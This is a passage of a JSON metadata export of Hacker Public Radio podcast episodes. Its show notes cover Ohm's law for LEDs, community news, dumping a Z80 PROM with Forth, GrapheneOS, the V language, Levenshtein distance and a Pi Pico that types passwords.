                                                            \n","hostid":201,"series":123,"explicit":1,"license":"CC-BY-SA","tags":"cli, pdf","version":0,"downloads":0,"valid":1}, {"id":4017,"date":"2023-12-26","title":"Advent of code day 6-10 catchup","duration":429,"summary":"I talk through the second 5 challenges of this years advent of code.","notes":"\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"advent of code, 2023, challenge","version":0,"downloads":0,"valid":1}, {"id":4018,"date":"2023-12-27","title":"A comment about other shows and Aliases","duration":794,"summary":"About the use of the Aliases and bashrc in Linux to better use your commandline.","notes":"The file can be downloaded here","hostid":421,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bash commands, bash_aliases","version":0,"downloads":0,"valid":1}, {"id":4019,"date":"2023-12-28","title":"Fairy lights and Powerful Pixies","duration":4703,"summary":"Ken is visited by the ghost of procrastination, desperation and rambling","notes":"
                                                            \n

                                                            'Twas the night before Christmas, when all through the house Not a\ncreature was stirring, not even a mouse;

                                                            \n
                                                            \n

                                                            OK wrong story.

                                                            \n
                                                            \n

                                                            In his lonely man cave, a HPR Janitor is visited by the ghost of\nprocrastination. Two years later he is again visited, but this time by\nthe ghost of desperation. And then finally by the ghost of rambling.

                                                            \n
                                                            \n

                                                            Today we learn about AC and DC voltage, about Ohms Law and how to\nwire up a LED to a USB connector.

                                                            \n

                                                            A long rambling show which in the end came down to using ohms law to\nfind the value of the resister.

                                                            \n

                                                            Knowing any 2 of the 3 values in Ohms law will give us the resistor\nwe need.

                                                            \n

                                                            The current will be the same, so we can just measure, and it turns\nout to be 22 mA (milliamperes) or 0.022 amp. This is measured in Amps,\nand has the symbol I

                                                            \n

                                                            The voltage we need to use up is 2 volts as we are going from 5 Volts\nUSB AC Adapter to 3 Volts used by the two AA battery in series. Giving\nus 2 Volts with unit of V.

                                                            \n

                                                            We can then find the Resistance measured in Ohms by dividing 2 Volts,\nby 0.022 Amps to give us 90 Ohms of Resistance.

                                                            \n

                                                            The V is always on top of the triangle with I and R underneath.

                                                            \n

                                                            So not having a 90 Ohm resistor a 100 Ohm would work just as\nwell.

                                                            \n

                                                            \n\n\n

                                                            \n\n

                                                            \n\n\n

                                                            \n

                                                            \n\n\n

                                                            \n\n
                                                              \n
                                                            • https://www.electronics-tutorials.ws/diode/diode_8.html
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Light-emitting_diode
                                                            • \n
                                                            • https://www.wolframalpha.com/input?i=.022+amp
                                                            • \n
                                                            • https://www.eevblog.com/forum/projects/smd-led-size-for-beginners/
                                                            • \n
                                                            • https://learn.sparkfun.com/tutorials/light-emitting-diodes-leds/all
                                                            • \n
                                                            • https://www.electronicshub.org/led-light-emitting-diode/
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Resistor
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Coulomb
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Ampere
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Georg_Ohm
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Ohm
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/AA_battery
                                                            • \n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Volts, Amps, Ohms, Resistance, Current, Potential Energy, Ohms Law, AngryPixies","version":0,"downloads":0,"valid":1}, {"id":4020,"date":"2023-12-29","title":"Alabama to Florida","duration":812,"summary":"We start traveling across the Gulf Coast on our way to Florida.","notes":"

                                                            We leave New Orleans and start out across the Gulf Coast. We make a\nbrief stop in Mississippi to add one more NASA site to our trip, then\ninto Alabama just south of Mobile. From there we move into the Florida\nPanhandle.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, Alabama, Florida","version":0,"downloads":0,"valid":1}, {"id":4021,"date":"2024-01-01","title":"HPR Community News for December 2023","duration":5324,"summary":"HPR Volunteers talk about shows released and comments posted in December 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4000Fri2023-12-01New OrleansAhuka
                                                            4001Mon2023-12-04HPR Community News for November 2023HPR Volunteers
                                                            4002Tue2023-12-05Today I learnt - 2023-11-24Dave Morriss
                                                            4003Wed2023-12-06My road recording setupSome Guy On The Internet
                                                            4004Thu2023-12-07Wayland to X11 bridgeKen Fallon
                                                            4005Fri2023-12-08Sgoti's reply to multiple shows.Some Guy On The Internet
                                                            4006Mon2023-12-11Holiday Challenges Ep 3 SANS Holiday Hack Challenge and KringleConTrey
                                                            4007Tue2023-12-12Advent of code day 1-5 catchupDaniel Persson
                                                            4008Wed2023-12-13Sextortion. Good Heavens!Some Guy On The Internet
                                                            4009Thu2023-12-14Reolink CCTV Camsoperat0r
                                                            4010Fri2023-12-15Playing Alpha Centauri, Part 3Ahuka
                                                            4011Mon2023-12-18The Intel Hex file formatBrian in Ohio
                                                            4012Tue2023-12-19RE: show comments.Some Guy On The Internet
                                                            4013Wed2023-12-20Smart Watches grossoperat0r
                                                            4014Thu2023-12-21Post-Quantum Cryptography Update 1st November 2023Ahuka
                                                            4015Fri2023-12-22Value of life, part 0.Some Guy On The Internet
                                                            4016Mon2023-12-25Today I learntMrX
                                                            4017Tue2023-12-26Advent of code day 6-10 catchupDaniel Persson
                                                            4018Wed2023-12-27A comment about other shows and AliasesReto
                                                            4019Thu2023-12-28Fairy lights and Powerful PixiesKen Fallon
                                                            4020Fri2023-12-29Alabama to FloridaAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 22 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr262\n(2008-12-31) \"Programming 101: The Basics\"\nby Xoke.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nNe01sfree on 2023-12-24:\n\"Thankyou\"

                                                              \n
                                                            • hpr3972\n(2023-10-24) \"Thunderbird inbox filtering: keeping a clean/orderly inbox.\"\nby Some Guy On The Internet.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nfrank on 2023-12-12:\n\"Why unsubscribe?\"
                                                              • \n
                                                              • \nComment 2:\nSome Guy On The Internet on 2023-12-14:\n\"RE: Why unsubscribe?\"

                                                              \n
                                                            • hpr3985\n(2023-11-10) \"Bash snippet - be careful when feeding data to loops\"\nby Dave Morriss.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2023-12-04:\n\"using this now in\"

                                                              \n
                                                            • hpr3998\n(2023-11-29) \"Using open source OCR to digitize my mom's book\"\nby Deltaray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nDeltaray on 2023-12-03:\n\"Thanks\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 17 comments on 5 of this month's shows:

                                                            \n
                                                            • hpr4000\n(2023-12-01) \"New Orleans\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrain-in-ohio on 2023-12-02:\n\"wow!\"

                                                              \n
                                                            • hpr4007\n(2023-12-12) \"Advent of code day 1-5 catchup\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2023-12-13:\n\"Brute Forece will only get you so far\"

                                                              \n
                                                            • hpr4008\n(2023-12-13) \"Sextortion. Good Heavens!\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAnother Guy on the internet on 2023-12-13:\n\"This show is very opinionated\"
                                                              • Comment 2:\nhpr listener on 2023-12-13:\n\"Poor quality.\"
                                                              • Comment 3:\nSome Guy on the Internet on 2023-12-14:\n\"RE: This show is very opinionated.\"
                                                              • Comment 4:\nSome Guy on the Internet on 2023-12-14:\n\"RE: Poor quality.\"
                                                              • Comment 5:\nhpr listener on 2023-12-16:\n\"RE: Poor quality.\"
                                                              • Comment 6:\nKen Fallon on 2023-12-17:\n\"Opinions are allowed on HPR\"
                                                              • Comment 7:\nBob on 2023-12-17:\n\"Great Show\"
                                                              • Comment 8:\nX on 2023-12-18:\n\"You missed some points\"
                                                              • Comment 9:\nKevin O'Brien on 2023-12-18:\n\"Great show\"
                                                              • Comment 10:\nAnother Guy On The Internet on 2023-12-20:\n\"Controversy is a good thing\"

                                                              \n
                                                            • hpr4012\n(2023-12-19) \"RE: show comments.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nhpr listener on 2023-12-19:\n\"Just when the disappointment couldn't get worse, it did.\"
                                                              • Comment 2:\nKen Fallon on 2023-12-20:\n\"I am unable to comply as...\"
                                                              • Comment 3:\nhpr listener on 2023-12-21:\n\"Re: I am unable to comply as...\"

                                                              \n
                                                            • hpr4019\n(2023-12-28) \"Fairy lights and Powerful Pixies\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-12-28:\n\"Nicely done.\"
                                                              • Comment 2:\nReto on 2023-12-29:\n\"Audacity is overkill\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2023-December/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Developments in the last\nmonth

                                                            \n
                                                              \n
                                                            • Repairing shows which had no ID3 and similar tags on the\naudio

                                                            • \n
                                                            • Enhancements to the comment system

                                                            • \n
                                                            \n

                                                            \nThanks to all 58 HPR contributors in 2023!\n

                                                            \n

                                                            \n

                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4022,"date":"2024-01-02","title":"dumping roms for fun and profit","duration":1039,"summary":"using forth to do something useful","notes":"

                                                            disassembling - hex2bin is used for converting hexadecimal files into\na binary file. - used z80dasm to disassemble machine code into\nhexadecimal - use xxd to view the hex code and machine code side by side\n- ghidra, reverse engineering suite used for analysis

                                                            \n

                                                            https://www.noagendashow.net/ https://twostopbits.com/\nhttps://en.wikipedia.org/wiki/Programmable_ROM https://en.wikipedia.org/wiki/Dual_in-line_package https://www.tablix.org/~avian/blog/articles/z80dasm/ https://ghidra-sre.org/\nhttps://hex2bin.sourceforge.net/

                                                            \n

                                                            1.prom-location-on-board.jpg 2.prom-ready-to-read.jpg

                                                            \n

                                                            Intelhex file snipet:

                                                            \n
                                                            :100600003E0FCD8E043E0ECD8E04211441360023C4\n:1006100036003A6341326A41CDB204CDC404CD61A3\n:1006200005215541CB46C46306210F41CB6E281CE2\n:10063000210241CB4E28CE210F41CB7E2809FEEC72\n:10064000CAC306FEED287CCD45071849CB66284570\n:10065000210741CB76203B21154134CB8ECB9ECB5D\n:10066000961832FEFFC8CB4E2808FEE42004CB8E3D\n:10067000D1C9211941BED0FE31D8215541CB6628C0\n:1006800003FE31C8321341CBA7CBAF215541CBD6A6\n:10069000D1C9CD45072114413400003A2E41BEC2D4\n:1006A0001E0636000000211541CB46216B417E2BF2\n:1006B0002016BE200F3E132B772124413600210F38\n:1006C000413EFFC934C31806BE28EA3EC9CD8E0498\n:1006D0002115417EC60477CB5E200CCBA6AF01006E\n:1006E00041CD9104C31E063E2018F3210F41CB6675\n:1006F000202DCB6E28093A1341FEE4CCD107C93E28\n:10070000FFC9CDEB06210F41CB662013CB6E28EF3E\n:100710003A1341FEE12804FEE22004CDD107C93A94\n:100720001341C93E200614219042772310FCC921B1\n:100730002541367C233614CD5207C9212541362068\n:1007400023362018F2FB2125413680233601CD5374\n:1007500007C9F31680211241CBCECB964E0640CB73
                                                            \n

                                                            xxd output showing text that's displayed on the screen when the\ndevice boots

                                                            \n
                                                            000025d0: f4f5 f6f7 f9ef e1e2 0ded e8f8 30e4 3d3b  ............0.=;\n000025e0: 272f e550 3839 4f4b 4c2c 2e49 3637 5548  '/.P89OKL,.I67UH\n000025f0: 4a4e 4d59 3435 5446 4756 4252 3233 4553  JNMY45TFGVBR23ES\n00002600: 4458 4357 e631 5141 5ae7 20ec ebea 2020  DXCW.1QAZ. ...\n00002610: 2020 2020 0f53 454c 4543 5420 4143 5449      .SELECT ACTI\n00002620: 5649 5459 1053 454c 4543 5420 434c 4153  VITY.SELECT CLAS\n00002630: 5320 312d 3906 4c45 5353 4f4e 1053 454c  S 1-9.LESSON.SEL\n00002640: 4543 5420 4c45 5645 4c20 312d 3405 4c45  ECT LEVEL 1-4.LE\n00002650: 5645 4c12 5345 4c45 4354 2053 4543 5449  VEL.SELECT SECTI\n00002660: 4f4e 2031 2d32 1231 2d45 5841 4d50 4c45  ON 1-2.1-EXAMPLE\n00002670: 2050 524f 4752 414d 5310 322d 4241 5349   PROGRAMS.2-BASI\n00002680: 4320 434f 4d50 5554 4552 1045 5841 4d50  C COMPUTER.EXAMP\n00002690: 4c45 2050 524f 4752 414d 530e 5052 452d  LE PROGRAMS.PRE-\n000026a0: 4241 5349 4320 5631 2e30 1253 454c 4543  BASIC V1.0.SELEC
                                                            \n

                                                            z80dasm output:

                                                            \n
                                                                push af         ;0040   f5  .\n    push bc         ;0041   c5  .\n    push de         ;0042   d5  .\n    push hl         ;0043   e5  .\n    ld hl,0410fh        ;0044   21 0f 41    ! . A\n    res 4,(hl)      ;0047   cb a6   . .\n    res 5,(hl)      ;0049   cb ae   . .\n    set 6,(hl)      ;004b   cb f6   . .\n    bit 0,(hl)      ;004d   cb 46   . F\n    jr nz,27        ;004f   20 19     .\n    bit 1,(hl)      ;0051   cb 4e   . N\n    jr z,41     ;0053   28 27   ( '\n    ld hl,0410eh        ;0055   21 0e 41    ! . A\n    inc (hl)            ;0058   34  4\n    ld a,(hl)           ;0059   7e  ~\n    cp 032h     ;005a   fe 32   . 2\n    jr nz,32        ;005c   20 1e     .\n    ld (hl),000h        ;005e   36 00   6 .\n    ld hl,0410ch        ;0060   21 0c 41    ! . A\n    inc (hl)            ;0063   34  4\n    jr nz,24        ;0064   20 16     .\n    inc hl          ;0066   23  #\n    inc (hl)            ;0067   34  4\n    jr 20       ;0068   18 12   . .\n    ld hl,0410ch        ;006a   21 0c 41    ! . A\n    inc (hl)            ;006d   34  4\n    jr nz,14        ;006e   20 0c     .\n    inc hl          ;0070   23  #\n    inc (hl)            ;0071   34  4\n    ld a,(hl)           ;0072   7e  ~\n    cp 00ch     ;0073   fe 0c   . .\n    jr nz,7     ;0075   20 05     .\n    ld hl,0410fh        ;0077   21 0f 41    ! . A\n    set 2,(hl)      ;007a   cb d6   . .
                                                            \n

                                                            If you've gotten this far, the forth code, read bottom up:

                                                            \n
                                                            -promreader\nmarker -promreader\n\n2variable low-mem\n2variable high-mem\n\n\\ 22-29\n$22 constant LOW-BYTE\n$21 constant DDRA\n$20 constant PINA\n\n\\ 53=PB0, 52=PB1\n$25 constant PAGE\n$24 constant DDRB\n$23 constant PINB\n%0000.0001 constant PAGE-SELECT\n%0000.0010 constant CHIP-ENABLE\n\n\\ 37-30 (reversed on board)\n$28 constant HIGH-BYTE\n$27 constant DDRC\n$26 constant PINC\n\n\\ 49-42 (reversed on board)\n$10b constant  PORTL\n$10a constant  DDRL\n$109 constant  DATA\n\nvariable LineFeed\nvariable Address\nvariable CheckSum\n\n$10 constant ByteCount\n0 constant RecordType\n\n: port-init ( -- )\n  PAGE-SELECT DDRB mset\n  CHIP-ENABLE DDRB mset\n  $ff DDRA mset\n  $ff DDRC mset\n  $ff DDRL mclr\n  $ff PORTL mset\n  CHIP-ENABLE PAGE mset\n  PAGE-SELECT PAGE mclr\n;\n\n: hex>ascii ( n -- c c ) dup $f0 and 4 rshift swap $0f and digit swap digit ;\n\n: checksum+ ( n -- )  CheckSum @ + CheckSum ! ;\n\n: .output ( n -- )  ( dup ) ( checksum+ ) emit emit ;\n\n: address ( n -- )\n  Address @\n  dup $ff00 and 8 rshift swap\n  $00ff and swap\n  dup checksum+\n  hex>ascii\n  .output\n  hex>ascii\n  .output\n;\n\n: add>bytes ( n -- n n ) dup $ff00 and 8 rshift swap $00ff and ;\n\n: build-record ( n -- ) dup checksum+ hex>ascii .output ;\n\n: header ( -- )\n    ." :"\n    ByteCount build-record\n    Address @ add>bytes swap build-record build-record\n    RecordType build-record\n;\n\n: .checksum ( -- )\n  CheckSum @ invert 1+\n  build-record\n  0 CheckSum !\n  cr\n;\n\n\n: address+ ( -- n ) Address @ 1+ dup Address ! ;\n\n: line-feed+ ( -- )\n  LineFeed @ 1+\n  dup\n  ByteCount = if\n    ( .checksum )\n    0 LineFeed !\n    cr\n  else\n    LineFeed !\n  then\n;\n\n: read-data ( -- d )\n  CHIP-ENABLE PAGE mclr 10 ms\n  DATA c@ 10 ms\n  CHIP-ENABLE PAGE mset 10 ms\n  ;\n\n: set-high-byte HIGH-BYTE c! ;\n\n: set-low-byte LOW-BYTE c! ;\n\n: get-data ( -- n )\n  Address @ add>bytes\n  set-low-byte\n  set-high-byte\n  read-data\n  build-record\n;\n\n: page-read ( -- )\n  0 CheckSum ! 0 Address ! cr\n  begin\n    0\n    header\n    begin\n      get-data\n      Address @ 1+ Address !\n      1+\n      dup 16 =\n    until\n    drop\n    .checksum\n    Address @\n    0=\n  until\n  ." :00000001FF" cr\n;\n\n\n: dump-prom ( -- )\n  port-init\n  ." Page 1" cr\n  page-read\n  PAGE-SELECT PAGE mset\n  ." Page 2" cr\n  page-read\n  ;
                                                            \n

                                                            PROM location on board
                                                            \n

                                                            \n

                                                            PROM ready to read
                                                            \n

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"z80, retro computing, forth","version":0,"downloads":0,"valid":1}, {"id":4023,"date":"2024-01-03","title":"Information Transparency for world peace","duration":1914,"summary":"An idea based on the New world order ideology and the morality of Edward Snowden.","notes":"

                                                            I do not know what if any kind of licence I need or where to find\none. I made this myself while a little tipsy, and if I hadn't been I\nwould have been too nervous to do so. What can I say it was xmas day and\ni was feeling lonely.

                                                            \n

                                                            All material in the podcast was thought of as I recorded. Nothing was\nplanned.

                                                            \n

                                                            The basis of it came to light after recording it.

                                                            \n","hostid":426,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"information, transparency, world, peace","version":0,"downloads":0,"valid":1}, {"id":4024,"date":"2024-01-04","title":"Experiences with Graphene OS and why I use it","duration":1193,"summary":"How and why I live with a de-Googled phone","notes":"

                                                            Peer-reviewed paper on iOS and Android's practice of sending data\nfrom the device:
                                                            \nhttps://www.scss.tcd.ie/doug.leith/apple_google.pdf\n[PDF]

                                                            \n

                                                            The go-to, default no-/low-Google choice for many:
                                                            \nhttps://lineageos.org/

                                                            \n

                                                            The Ubuntu-based phone OS:
                                                            \nhttps://ubports.com/

                                                            \n

                                                            The e/ foundation:
                                                            \nhttps://e.foundation/e-os/

                                                            \n

                                                            Sailfish OS developers, Jolla:
                                                            \nhttps://jolla.com/

                                                            \n

                                                            Calyx OS (not tested by the author/presenter):
                                                            \nhttps://calyxos.org/

                                                            \n

                                                            enistello's choice of 'best' de-Googled phone OS:
                                                            \nhttps://grapheneos.org/

                                                            \n

                                                            The F-Droid repository for FOSS applications:
                                                            \nhttps://f-droid.org/

                                                            \n

                                                            The DuckDuckGo web browser:
                                                            \nhttps://duckduckgo.com/duckduckgo-help-pages/mobile/android/

                                                            \n","hostid":415,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"grapheneOS,Google,data privacy,security","version":0,"downloads":0,"valid":1}, {"id":4025,"date":"2024-01-05","title":"Testing V language","duration":1012,"summary":"I tried V, a new experimental programming language","notes":"

                                                            Pros

                                                            \n
                                                              \n
                                                            • Strong static typing
                                                            • \n
                                                            • compiles to C, no useless complexity like the JVM. Strong\nfoundation, C is here to stay and compiles to most obscure\narchitectures
                                                            • \n
                                                            • small binary size
                                                            • \n
                                                            • pattern matching and sum types
                                                            • \n
                                                            • immutability by default
                                                            • \n
                                                            • option/result types
                                                            • \n
                                                            • compile time reflection
                                                            • \n
                                                            • most Rust features, but memory management is automatic via GC or\n-autofree. Really useful for GUI programs
                                                            • \n
                                                            \n

                                                            Cons

                                                            \n
                                                              \n
                                                            • still in beta
                                                            • \n
                                                            • wants to be \"clean\", but they're adding too many features\n
                                                                \n
                                                              • database ORM into the language
                                                              • \n
                                                              • GPU shaders
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Official website https://vlang.io/
                                                            • \n
                                                            • The test I did on porting a library to V https://gitlab.com/MassiminoilTrace/airone_v
                                                            • \n
                                                            \n","hostid":407,"series":25,"explicit":0,"license":"CC-BY-NC-SA","tags":"v,programming,experimental","version":0,"downloads":0,"valid":1}, {"id":4026,"date":"2024-01-08","title":"Using NLP to get better answer options for language learning","duration":994,"summary":"Levenshtein distance may help language learning apps improve answer options for better learning.","notes":"

                                                            Code snippets

                                                            \n

                                                            Install the Levenshtein package.

                                                            \n
                                                            >>> pip install levenshtein
                                                            \n

                                                            Use the Levenshtein package to calculate the edit distance.

                                                            \n
                                                            >>> import Levenshtein\n>>> Levenshtein.distance("cat", "dog")\n3\n>>> Levenshtein.distance("cat", "can")\n1
                                                            \n

                                                            Install the TheFuzz package.

                                                            \n
                                                            >>> pip install thefuzz
                                                            \n

                                                            Use TheFuzz to calculate the similarity ratio.

                                                            \n
                                                            >>> from thefuzz import fuzz\n>>> fuzz.ratio("cat", "dog")\n0\n>>> fuzz.ratio("cat", "can")\n67
                                                            \n

                                                            Use TheFuzz to calculate the similarity ratio for each item in a\nlist.

                                                            \n
                                                            >>> from thefuzz import process\n>>> options = ["dog", "can"]\n>>> process.extract("cat", options, limit=2)\n[('can', 67), ('dog', 0)]\n>>> process.extract("cat", options, limit=1)\n[('can', 67)]\n>>> process.extract("cat", options, limit=2, scorer=fuzz.ratio)\n[('can', 67), ('dog', 0)]
                                                            \n

                                                            Other resources

                                                            \n\n","hostid":427,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"levenshtein, nlp, language learning, education","version":0,"downloads":0,"valid":1}, {"id":4027,"date":"2024-01-09","title":"Today I learnt (2023-12-18)","duration":620,"summary":"Three random things I discovered in the recent past","notes":"
                                                            \nTIL 1\nand 2 - a cure for Sickle Cell Anemia / fetal hemoglobin\n

                                                            Note: many of the words used here have\nalternative UK (and Commonwealth) spellings versus USA spellings. I am\nusing the USA versions throughout, though I personally prefer the UK\nversions with their diphthongs and ligatures\nlike fœtal, but I blame my education for the\nbias!

                                                            \n

                                                            TLDR 1: A potential cure was approved in the UK in November 2023\nfor the blood disorder called Sickle Cell Anemia.

                                                            \n

                                                            TLDR 2: The oxygen-carrying pigment in fetuses is different from\nthat in adults, and changes after birth.

                                                            \n
                                                              \n
                                                            • I am interested in all types of science, but particularly in Biology\nof all sorts (I have a BSc degree in Zoology).
                                                            • \n
                                                            • I was listening to a podcast where the subject of a potential\ntreatment for Sickle Cell Anemia was discussed:\n
                                                                \n
                                                              • Sickle Cell Disease is an inherited blood disorder resulting in\nanemia which has many complications and can be fatal. It is caused by an\nabnormality in haemoglobin. It's a rather complex subject which we will\nnot go into here, though the Wikipedia\npage has a lot of useful information.
                                                              • \n
                                                              • A new treatment has been developed using genetic manipulation (CRISPR),\nwhich increases the amount of fetal hemoglobin (Hemoglobin F) produced\nby the stem cells in the bone marrow.
                                                              • \n
                                                              • Red blood cells with Hemoglobin F do not form the sickle shape.
                                                              • \n
                                                            • \n
                                                            • A \"foetus\" (UK) or \"fetus\" (US) is the unborn offspring that\ndevelops from an animal embryo.
                                                            • \n
                                                            • Hemoglobin is the oxygen-carrying protein in red blood cells. In the\nfetus it is different from that in the adult, and is called\nHemoglobin F. Normally the fetal form is replaced by the adult\nform after birth in the first 2-4 months.
                                                            • \n
                                                            • Quote from Wikipedia: Hemoglobin F has a different composition\nthan adult forms of hemoglobin, allowing it to bind (or attach to)\noxygen more strongly; this in turn enables the developing fetus to\nretrieve oxygen from the mother's bloodstream, which occurs through the\nplacenta found in the mother's uterus.
                                                            • \n
                                                            • The change from fetal to adult haemoglobin has been known about for\nmany years (75+?) but I had never heard of it until recently.
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n

                                                            TIL 3 - Perl's birthday

                                                            \n
                                                              \n
                                                            • The Perl scripting language was \"born\" in 1987 on December\n18th.
                                                            • \n
                                                            • See the Github\ncommit for the first released version
                                                            • \n
                                                            • I'm a long-time devotee of Perl, and my birthday is the same day! I\ndidn't know this until today ☺
                                                              \nI'm more than twice as old though...
                                                            • \n
                                                            • I find it quite interesting to look at the original ideas behind\nPerl, which you can see on Github.
                                                            • \n
                                                            \n\n\n
                                                            \n","hostid":225,"series":123,"explicit":1,"license":"CC-BY-SA","tags":"human physiology, hemoglobin, Sickle Cell Disease, fetus, Perl","version":0,"downloads":0,"valid":1}, {"id":4028,"date":"2024-01-10","title":"Passwords with a Pi Pico","duration":1044,"summary":"norrist uses a raspberry pi pico to type passwords","notes":"

                                                            norrist uses\na raspberry pi pico to type passwords

                                                            \n

                                                            Password Managers

                                                            \n
                                                              \n
                                                            • I like using a password managers
                                                            • \n
                                                            • Every site has a different complex password
                                                            • \n
                                                            • I use the browser plugin or copy paste.
                                                            • \n
                                                            • I recently switched from last pass to bit warden.\n
                                                                \n
                                                              • I was one of the users that did not get prompted to increase the\nnumber of password iterations from 1000.
                                                              • \n
                                                            • \n
                                                            • They work basically the same.
                                                            • \n
                                                            \n

                                                            My stupid bank

                                                            \n
                                                              \n
                                                            • The normal procedure for changing passwords is\n
                                                                \n
                                                              • fill in old password
                                                              • \n
                                                              • generate new random password
                                                              • \n
                                                              • copy paste new password into the new password field
                                                              • \n
                                                            • \n
                                                            • For some reason, my bank's site uses JavaScript to block paste into\nthe new password fields
                                                            • \n
                                                            • I don't know why banks or anyone disable pasting into a browser\nfield
                                                            • \n
                                                            • The only way I could change my password, was to generate a password\nsimple enough that it could be manually typed into the change\nfields
                                                            • \n
                                                            \n

                                                            First solution

                                                            \n
                                                              \n
                                                            • I wanted to find something like a programmable keyboard where you\ncould input an input string and have the device type out the\ncharacters
                                                            • \n
                                                            • I found a few keyboards that used macros, but they seemed too simple\nto use for a complex password.
                                                            • \n
                                                            • I saw somewhere online that you could use a micro-controller to\nemulate a keyboard.
                                                            • \n
                                                            • I had a circuit playground express that I wasn't using for\nanything.
                                                            • \n
                                                            • The circuit playground express has 2 built in buttons
                                                            • \n
                                                            • I found a circuit python tutorial for emulating keystrokes and\nmodified it so it would emulate the keystrokes for a password.
                                                            • \n
                                                            • Button A would output a password and button B would output a\ndifferent password.
                                                            • \n
                                                            \n

                                                            Problems

                                                            \n
                                                              \n
                                                            • The passwords were stored as variables in the code
                                                            • \n
                                                            • The circuit playground express has a lot of built in LED's and touch\npads. It was really being wasted to only use it as a keyboard emulation\ndevice
                                                            • \n
                                                            • I have another project I want to use the playground express for
                                                            • \n
                                                            \n

                                                            Next Solution

                                                            \n
                                                              \n
                                                            • Raspberry Pi Pico - $4 micro controller
                                                            • \n
                                                            • I was able to get circuit python to micro controller a keyboard on\nthe pi pico
                                                            • \n
                                                            • Not many ways to get physically interact with board.
                                                            • \n
                                                            • No buttons and only one LED.
                                                            • \n
                                                            • I decided the best way was to have a count down timer
                                                            • \n
                                                            • blink the led to indicate where the timer was in the countdown
                                                            • \n
                                                            • output the keystrokes when the countdown timer reached zero
                                                            • \n
                                                            \n

                                                            More problems

                                                            \n
                                                              \n
                                                            • Circuit python devices work by exposing a small file system when\nplugged in via USB.
                                                            • \n
                                                            • You can mount the file system and edit the code running on the micro\ncontroller
                                                            • \n
                                                            • Once the device is powered on, it starts emulating keystrokes every\ntime the countdown timer cycles
                                                            • \n
                                                            • to keep the micro controller keystrokes from interfering with any\nwork you were doing I would have to mount the device and quickly comment\nout part of the code so it would stop sending keystrokes
                                                            • \n
                                                            • As a fix, I added a check to only send keystrokes if a file named\nsend_keys exists
                                                            • \n
                                                            • Now, I can work on the code and only add the send_keys\nfile when I an ready.
                                                            • \n
                                                            \n

                                                            Storing the password

                                                            \n
                                                              \n
                                                            • I didn't like that the password I want to send as keystrokes was\nstored as a variable in the code.
                                                            • \n
                                                            • I modified that python to read the password from a separate file\nnamed pw.txt
                                                            • \n
                                                            \n

                                                            Setup the Pi Pico

                                                            \n

                                                            Install circuit python

                                                            \n
                                                              \n
                                                            • https://learn.adafruit.com/getting-started-with-raspberry-pi-pico-circuitpython/circuitpython
                                                            • \n
                                                            \n

                                                            Bundle

                                                            \n
                                                              \n
